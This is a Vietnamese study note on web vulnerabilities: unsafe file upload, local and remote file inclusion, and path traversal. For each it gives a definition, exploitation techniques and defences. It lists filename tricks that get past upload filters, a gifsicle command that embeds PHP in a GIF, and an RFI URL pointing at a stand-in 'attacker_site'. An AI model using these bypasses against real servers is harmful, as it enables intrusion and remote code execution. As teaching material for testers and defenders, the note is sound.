# unsafe file upload ## Định nghĩa Là lỗ hổng khi máy chủ web cho phép người dùng upload lên hệ thống của nó mà không xác thực đầy đủ những thứ như tên, loại, nội dung hoặc kích thước của chúng. Việc không thực thi đúng cách các biện pháp kiểm soát file dẫn đến ngay cả chức năng tải lên hình ảnh cơ bản cũng có thể được sử dụng để tải lên các tệp tùy ý và có khả năng gây nguy hiểm. ## Cách khai thác lỗi ### Bypass file extension restrict - Tìm các extensions bị bỏ sót có thể được thực thi ở phía máy chủ hoặc có thể gây nguy hiểm ở phía máy khách (ví dụ: “.php5”, “.pht”, “.phtml”, “.shtml”, “.asa”, “.cer” , “.asax”, “.swf” hoặc “.xap”). - Tìm lỗ hổng trong cấu hình máy chủ web khi nó phân tích các tệp có phần mở rộng kép hoặc thực thi chúng bằng cách cung cấp phần mở rộng nhạy cảm sau dấu phân cách, chẳng hạn như “/” hoặc “;” (ví dụ: “/file.jpg/index.php” khi tệp “file.jpg” chứa mã PHP và đã được tải lên) - Trong Apache, tệp php có thể được thực thi bằng kỹ thuật double extension chẳng hạn như “file.php.jpg” khi “.jpg” được cho phép. - Trong IIS6 (hoặc các phiên bản trước), tệp tập lệnh có thể được thực thi bằng cách sử dụng một trong hai phương pháp sau: - Bằng cách thêm ký tự dấu chấm phẩy sau phần mở rộng bị cấm và trước phần mở rộng được phép (ví dụ: “file.asp;.jpg”) - Bằng cách đổi tên phần mở rộng của file (ví dụ: “.asp”) thành phần mở rộng được phép (ví dụ: “.txt”) trong thư mục có tên kết thúc bằng phần mở rộng của tập lệnh (ví dụ: “folder.asp\file.txt”). Trong Windows, có thể tạo thư mục bằng cách sử dụng trình tải tệp lên và ADS (Alternate Data Stream). Trong phương pháp này, tên tệp kết thúc bằng “::\$Index_Allocation” hoặc “:\$I30:\$Index_Allocation” khiến trình tải tệp lên tạo một thư mục chứ không phải một tệp (ví dụ: “folder.asp::\$Index_Allocation” tạo “thư mục .asp” làm thư mục). - Thay đổi một số chữ cái thành dạng viết hoa để bypass các quy tắc phân biệt chữ hoa chữ thường (ví dụ: “file.aSp” hoặc “file.PHp3”) - Sử dụng tính năng của Windows 8.3, có thể thay thế các tệp hiện có bằng cách sử dụng tên viết tắt của chúng (ví dụ: “web.config” có thể được thay thế bằng “web~1.con” hoặc “.htaccess” có thể được thay thế bằng “HTACCE~1”) - Tìm các ký tự được chuyển đổi thành các ký tự hữu ích khác trong quá trình tải file lên. Ví dụ: khi chạy PHP trên IIS, các ký tự “>”, “<” và dấu ngoặc kép “ lần lượt chuyển đổi thành “?”, “*”, và “.” các ký tự có thể được sử dụng để thay thế các tệp hiện có (ví dụ: “web<<” có thể thay thế tệp “web.config”). Để bao gồm ký tự trích dẫn kép trong tên tệp trong yêu cầu tải tệp lên thông thường, tên tệp trong “Content-Disposition” header phải sử dụng dấu ngoặc đơn (ví dụ: filename='web”config' để thay thế tệp “web.config” ). - Tìm các ký tự trung tính sau tên tệp, chẳng hạn như dấu cách và dấu chấm trong hệ thống tệp Windows hoặc các ký tự dấu chấm và dấu gạch chéo trong hệ thống tệp Linux. Các ký tự này ở cuối tên tệp sẽ tự động bị xóa (ví dụ: “file.asp … … . . .. ..”, “file.asp “, hoặc “file.asp.”). Mặc dù các ký tự dấu gạch chéo hoặc dấu gạch chéo ngược cũng thường là các ký tự có vấn đề nhưng chúng có thể bị bỏ qua trong yêu cầu tải tệp lên thông thường vì bất kỳ ký tự nào đứng trước các ký tự này có thể được tính là tên thư mục ở phía máy chủ; tuy nhiên, chúng nên được dùng thử để kiểm tra kỹ lưỡng (ví dụ: “test.php/” hoặc “test.php.\”). - Tìm lỗ hổng trong kỹ thuật phát hiện extension. Máy chủ web có thể sử dụng extension đầu tiên sau dấu chấm đầu tiên (“.”) trong tên tệp được cung cấp hoặc sử dụng thuật toán thiếu sót để phát hiện extension khi không có hoặc có nhiều ký tự dấu chấm (ví dụ: “file.txt.jpg.php”). - Việc sử dụng các ký tự điều khiển như ký tự null (0x00) sau extension bị cấm và trước extension được phép có thể dẫn đến bỏ qua. Trong phương pháp này, tất cả các chuỗi sau ký tự Null sẽ bị loại bỏ khi lưu tệp. Phải thử cả phiên bản được mã hóa và giải mã URL của ký tự null trong yêu cầu tải tệp lên để kiểm tra kỹ lưỡng. - Sử dụng luồng dữ liệu thay thế NTFS (ADS) trong Windows. Trong trường hợp này, ký tự dấu hai chấm “:” sẽ được chèn sau phần mở rộng bị cấm và trước phần mở rộng được phép. Do đó, một tệp trống có phần mở rộng bị cấm sẽ được tạo trên máy chủ (ví dụ: “file.asax:.jpg”). Tệp này có thể được chỉnh sửa sau bằng các kỹ thuật khác, chẳng hạn như sử dụng tên tệp ngắn của nó. Mẫu “::\$data” cũng có thể được sử dụng để tạo các tệp không trống. Do đó, việc thêm ký tự dấu chấm sau mẫu này cũng có thể hữu ích để vượt qua các hạn chế khác (.ví dụ: “file.asp::\$data.”) - Lỗ hổng trong cơ chế bảo vệ khi thay thế các extension nguy hiểm. Ví dụ: “file.p.phphp” có thể được đổi thành “file.php” sau khi thực hiện chức năng này. - sai sót trong việc sử dụng tệp đã tải lên khi ứng dụng PHP sử dụng chức năng “include” để hiển thị các hình ảnh đã tải lên. - Danh sách các tiện ích mở rộng được phép nên được xem xét vì nó cũng có thể chứa các tiện ích mở rộng độc hại. Ví dụ: trong trường hợp có “.shtml” trong danh sách, ứng dụng có thể dễ bị tấn công bởi SSI. ### Beating getimagesize() Hàm getimagesize() sẽ kiểm tra xem đó có phải là hình ảnh hay không và sẽ kiểm tra “mime” để xác minh loại hình ảnh. Nếu service đang chạy với Cấu hình không an toàn, bất kỳ ai cũng có thể bypass getimagesize() bằng cách viết comment trong tệp GIF. Để làm được điều đó, cần cài đặt một tiện ích trong hệ điều hành Kali/Ubuntu có tên là 'gifsicle' Sau khi cài đặt, các lệnh dưới đây sẽ giúp viết các lệnh trong tệp gif. ``` gifsicle < mygif.gif -- comment " <?php echo ‘Current PHP version: ‘ . phpversion(); ?> " > output.php.gif ``` Lệnh trên sẽ tạo một tệp có tên “output.php.gif”, tệp này chỉ cần được tải lên trong quá trình kiểm tra lỗ hổng tải tệp lên ### “Content-Type” Header Validation “Content-Type” Header cho biết Internet media type của message content. Đôi khi các ứng dụng web sử dụng tham số này để nhận dạng tệp là tệp hợp lệ. Ví dụ: họ chỉ chấp nhận các tệp có “Content-Type” là “text/plain”. - Có thể bypass bằng cách thay đổi tham số này trong header của request bằng proxy web. ### Using a File Type Detector Đôi khi các ứng dụng web cố ý hoặc vô ý sử dụng một số hàm (hoặc API) để kiểm tra loại tệp nhằm xử lý chúng thêm. Ví dụ: khi một ứng dụng thay đổi kích thước một tệp hình ảnh, nó có thể chỉ hiển thị thông báo lỗi khi các tệp không phải hình ảnh được tải lên mà không lưu chúng trên máy chủ. - Nếu nó đọc một vài ký tự đầu tiên (hoặc header), nó có thể bị bypass bằng cách chèn mã độc sau một số header hợp lệ hoặc trong metadata của tệp. - Việc chèn mã vào phần comment hoặc những phần không ảnh hưởng đến tệp chính cũng có thể dẫn đến bypass. - Dữ liệu được chèn có thể bị xáo trộn hoặc mã hóa nếu ứng dụng phát hiện mã độc bằng cách sử dụng các pattern hoặc signatures. - "Uploaded file can be crafted to create a malicious code in case of being compressed by the application." ### Còn nhiều test case khác ## Cách phòng chống lỗi - Kiểm tra file extension dựa trên whitelist các file extension được phép thay vì blacklist các tiện ích mở rộng bị cấm. Việc đoán những file extension nào bạn có thể muốn cho phép sẽ dễ dàng hơn nhiều so với việc đoán những file extension nào mà kẻ tấn công có thể cố tải lên. - Đảm bảo tên tệp không chứa bất kỳ chuỗi con nào có thể được hiểu là một thư mục hoặc traversal sequence (../). - Đổi tên các file đã tải lên để tránh xung đột có thể khiến các file hiện có bị ghi đè. - Không tải tệp lên hệ thống tệp cố định của máy chủ cho đến khi chúng được xác thực đầy đủ. - Càng nhiều càng tốt, hãy sử dụng một framework đã được thiết lập để xử lý trước các tệp tải lên thay vì viết các cơ chế xác thực của riêng bạn. # LFI ## Định nghĩa Lỗ hổng File Inclusion cho phép kẻ tấn công include một file, thường khai thác cơ chế “dynamic file inclusion” được triển khai trong ứng dụng mục tiêu. Lỗ hổng xảy ra do việc sử dụng đầu vào do người dùng cung cấp mà không được xác thực hợp lệ. Điều này có thể dẫn đến việc xuất ra nội dung của tệp, nhưng tùy thuộc vào mức độ nghiêm trọng, nó cũng có thể dẫn đến: - Code execution ở phía web server - Code execution ở phía client-side như JavaScript có thể dẫn đến các cuộc tấn công khác như (XSS) - Denial of Service (DoS) - Sensitive Information Disclosure Local file inclusion (còn được gọi là LFI) là quá trình including file đã có sẵn cục bộ trên máy chủ, thông qua việc khai thác các vulnerable inclusion được triển khai trong ứng dụng. Lỗ hổng này xảy ra, ví dụ: khi một trang nhận được đường dẫn đến tệp và include tệp này, và đường dẫn đầu vào chưa được sanitized đúng cách, dẫn đến cho phép directory traversal characters ('.' , '/') được chèn vào. Mặc dù hầu hết các ví dụ đều chỉ ra các tập lệnh PHP dễ bị tấn công, nhưng chúng ta nên nhớ rằng nó cũng phổ biến trong JSP, ASP và các công nghệ khác. ## Cách khai thác - Null Byte Injection - Path and Dot Truncation - PHP Wrappers - PHP Filter - PHP ZIP - PHP Data - PHP Expect ## cách phòng chống lỗi Giải pháp hiệu quả nhất để loại bỏ các lỗ hổng File inclusion là tránh chuyển dữ liệu đầu vào do người dùng gửi tới bất kỳ filesystem/framework API. Nếu điều này là không thể, ứng dụng có thể duy trì danh sách các tệp được phép, có thể được include trong trang, sau đó sử dụng mã định danh (ví dụ: số chỉ mục) để truy cập vào tệp đã chọn. Bất kỳ yêu cầu nào chứa mã định danh không hợp lệ đều phải bị từ chối, theo cách này sẽ không attack surface nào để người dùng độc hại thao túng đường dẫn. # RFI ## Định nghĩa Tương tự vs LFI tuy nhiên sử dụng với các file remote ## Cách khai thác, Cách test xem xét ví dụ PHP sau: ```php $incfile = $_REQUEST["file"]; include($incfile.".php"); ``` Trong ví dụ này, đường dẫn được trích xuất từ yêu cầu HTTP và không thực hiện xác thực đầu vào nào (ví dụ: bằng cách kiểm tra đầu vào theo danh sách cho phép), do đó đoạn mã này dễ bị tấn công bởi kiểu này. Hãy xem xét URL sau: ``` http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page ``` Trong trường hợp này, tệp từ xa sẽ được đưa vào và mọi mã có trong đó sẽ được máy chủ chạy. ## Cách phòng chống Giống với LFI # Path Traversal. ## Định nghĩa Path traversal còn được gọi là directory traversal. Những lỗ hổng này cho phép kẻ tấn công đọc các tệp tùy ý trên máy chủ đang chạy ứng dụng. Điều này có thể bao gồm: - Application code and data. - Credentials for back-end systems. - Sensitive operating system files. Trong một số trường hợp, kẻ tấn công có thể ghi vào các tệp tùy ý trên máy chủ, cho phép chúng sửa đổi dữ liệu hoặc hành vi của ứng dụng và cuối cùng chiếm toàn quyền kiểm soát máy chủ. ## Cách khai thác lỗi [How to test, exploit](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include.md) ## Cách phòng chống lỗi - Xác thực đầu vào của người dùng trước khi xử lý nó. Lý tưởng nhất là so sánh thông tin đầu vào của người dùng với whitelist các giá trị được phép. Nếu không thể, hãy xác minh rằng dữ liệu đầu vào chỉ chứa nội dung được phép, chẳng hạn như chỉ các ký tự chữ và số. - Sau khi xác thực input, append input với base directory và sử dụng API hệ thống tệp nền tảng để chuẩn hóa đường dẫn. Xác minh rằng đường dẫn chuẩn hóa bắt đầu bằng thư mục cơ sở dự kiến.